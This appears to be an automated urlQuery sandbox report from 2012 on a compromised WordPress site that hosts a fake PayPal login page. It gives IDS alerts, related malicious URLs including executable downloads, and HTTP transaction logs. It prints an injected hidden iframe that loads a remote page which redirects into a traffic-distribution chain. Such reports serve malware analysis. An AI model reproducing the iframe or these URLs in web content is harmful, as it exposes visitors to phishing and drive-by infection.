Overview

URLhttp://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
IP77.223.157.59
ASNAS43391 Netdirekt A.S.
Location Turkey
Report completed2012-11-07 07:39:57 CET
StatusLoading report..
urlQuery Alerts Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-07 07:39:23 urlQuery Client Internal IP2ETPRO CURRENT_EVENTS DNS Query to a *.br.ms Free Domain
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 1 reports on IP: 77.223.157.59

Date Alerts / IDS URL IP
2012-10-30 09:53:591 / 1http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run77.223.157.59

Last 6 reports on ASN: AS43391 Netdirekt A.S.

Date Alerts / IDS URL IP
2013-02-16 09:47:060 / 2http://zaferburo.com.tr/.sys/?getexe=go.exe78.40.226.201
2013-02-15 19:13:510 / 1http://zaferburo.com.tr/.sys/?getexe=fb.75.exe78.40.226.201
2013-02-15 19:13:480 / 1http://zaferburo.com.tr/.sys/?getexe=v2newblogger.exe78.40.226.201
2013-02-15 09:14:210 / 0http://villa.com.tr/transplants.html77.245.149.34
2013-02-14 16:35:140 / 0http://serwanzana.net/initialed/index.html77.245.149.34
2013-02-13 15:48:270 / 0http://serwanzana.net/greets/index.html77.245.149.34

Last 1 reports on domain: atdf.de

Date Alerts / IDS URL IP
2012-10-30 09:53:591 / 1http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run77.223.157.59



JavaScript

Executed Scripts (21)


Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 220, repeated: 1) 

<iframe src = "http://developmentadult.com.br.ms:81/rem6.html" marginwidth =0 allowTransparency= "true" style="position :absolute ;  left:-2617px ;  width:55px;" marginheight= 0 scrolling = "no" frameborder =0 ></iframe>


HTTP Transactions (40)


Request Response 
GET /wp-includes/js/webscr.php?cmd=_login-run HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17, PleskLin
Set-Cookie: PHPSESS=1524340297; expires=Wed 07-Nov-2012 06:43:15 GMT; path=/
Connection: close
Transfer-Encoding: chunked
GET /wp-includes/js/images/flowHFR.css HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:55 GMT
Etag: &quot;9a40610-4e3-1b848cc0&quot;
Accept-Ranges: bytes
Content-Length: 1251
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/country.css HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:54 GMT
Etag: &quot;9a4068c-19c-1b754a80&quot;
Accept-Ranges: bytes
Content-Length: 412
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/pageLogin.css HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:08 GMT
Etag: &quot;9a4065e-b20-1c4aea00&quot;
Accept-Ranges: bytes
Content-Length: 2848
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/print.css HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:11 GMT
Etag: &quot;9a40627-b95-1c78b0c0&quot;
Accept-Ranges: bytes
Content-Length: 2965
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/paypal_logo.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:09 GMT
Etag: &quot;9a4063b-3ed-1c5a2c40&quot;
Accept-Ranges: bytes
Content-Length: 1005
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/global.css HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:55 GMT
Etag: &quot;9a4065b-d6c8-1b848cc0&quot;
Accept-Ranges: bytes
Content-Length: 54984
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/logo_VIPwhite_66x27.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:06 GMT
Etag: &quot;9a4066a-5ca-1c2c6580&quot;
Accept-Ranges: bytes
Content-Length: 1482
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/sayT.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 300
Connection: close
GET /wp-includes/js/images/secure_lock_2.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:13 GMT
Etag: &quot;9a4060c-f3-1c973540&quot;
Accept-Ranges: bytes
Content-Length: 243
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/hostedpayments.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:56 GMT
Etag: &quot;9a4062b-1a76-1b93cf00&quot;
Accept-Ranges: bytes
Content-Length: 6774
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/mid.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:07 GMT
Etag: &quot;9a40629-50b-1c3ba7c0&quot;
Accept-Ranges: bytes
Content-Length: 1291
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/global.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=1524340297
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:15 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:55 GMT
Etag: &quot;9a40676-efc3-1b848cc0&quot;
Accept-Ranges: bytes
Content-Length: 61618
Set-Cookie: PHPSESS=-1; expires=Thu 08-Nov-2012 06:38:16 GMT; path=/
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/iconix.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:56 GMT
Etag: &quot;9a4060e-c2d-1b93cf00&quot;
Accept-Ranges: bytes
Content-Length: 3117
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/pageBlockingUnsafeBrowsers.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:08 GMT
Etag: &quot;9a4061f-2402-1c4aea00&quot;
Accept-Ranges: bytes
Content-Length: 9218
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/bid.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:31:51 GMT
Etag: &quot;9a40628-2a63-1b4783c0&quot;
Accept-Ranges: bytes
Content-Length: 10851
X-Powered-By: PleskLin
Connection: close
GET /wp-includes/js/images/pmoDE_Loginpage_german_Mar_10_560x228.jpg HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:10 GMT
Etag: &quot;9a40621-c923-1c696e80&quot;
Accept-Ranges: bytes
Content-Length: 51491
X-Powered-By: PleskLin
Connection: close
GET /images/btn_bg_sprite.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/images/global.css
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 295
Connection: close
GET /images/login_hdr_bg.jpg HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/images/pageLogin.css
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 294
Connection: close
GET /images/nav_sprite.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/images/global.css
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 292
Connection: close
GET /images/icon_login_lock.gif HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/images/pageLogin.css
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 297
Connection: close
GET /wp-includes/js/images/pp_naturalsearch.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:11 GMT
Etag: &quot;9a40631-1781-1c78b0c0&quot;
Accept-Ranges: bytes
Content-Length: 6017
X-Powered-By: PleskLin
Connection: close
GET /images/login_body_bg.jpg HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/images/pageLogin.css
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 295
Connection: close
GET /wp-includes/js/images/widgets.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:16 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:16 GMT
Etag: &quot;9a40695-20dbd-1cc4fc00&quot;
Accept-Ranges: bytes
Content-Length: 134589
X-Powered-By: PleskLin
Connection: close
GET /rem6.html HTTP/1.1

Host: developmentadult.com.br.ms:81

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
 
HTTP/1.1 302 Found

Content-Type: text/html

Server: nginx
Date: Wed, 07 Nov 2012 06:40:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: nxshe6=_5_; domain=developmentadult.com.br.ms; path=/; expires=Thu, 08-Nov-2012 05:40:57 GMT
nxshe3=_3_; domain=developmentadult.com.br.ms; path=/; expires=Thu, 08-Nov-2012 05:40:57 GMT
nxshe16=_0_; domain=developmentadult.com.br.ms; path=/; expires=Thu, 08-Nov-2012 05:40:57 GMT
nxshedefault=_10_; domain=developmentadult.com.br.ms; path=/; expires=Thu, 08-Nov-2012 05:40:57 GMT
Location: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
GET /wp-includes/js/images/sayT.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 300
Connection: close
GET /wp-includes/js/images/pp_jscode_080706.js HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: PHPSESS=-1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Wed, 07 Nov 2012 06:38:17 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 23 Jul 2012 14:32:11 GMT
Etag: &quot;9a4061a-e0b7-1c78b0c0&quot;
Accept-Ranges: bytes
Content-Length: 57527
X-Powered-By: PleskLin
Connection: close
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&ndh=1&t=7%2F10%2F2012%207%3A39%3A24%203%20-60&vmt=51437A79&vmf=paypal.112.2o7.net&ce=UTF-8&ns=paypal&pageName=log%20in&g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&cc=USD&ch=log%20in&c1=p%2Fgen%2Flogin&c7=unknown&v7=unknown%3Aunknown%3Aunknown&c8=unknown&c9=unknown&c10=de&c17=Login%20-%20PayPal&c18=R9&c19=log%20in&v19=D%3Dc7&v31=log%20in&c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&c39=D%3DpageName&c47=D%3DpageName&c50=de_de&c53=h.24.2%7C04.19.2012&s=1176x885&c=24&j=1.7&v=Y&k=Y&bw=1176&bh=778&p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&AQE=1 HTTP/1.1

Host: paypal.d1.sc.omtrdc.net
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
 
HTTP/1.1 302 Found

Content-Type: text/plain

Date: Wed, 07 Nov 2012 06:39:24 GMT
Server: Omniture DC/2.0.0
Access-Control-Allow-Origin: *
Location: http://paypal.112.2o7.net/b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=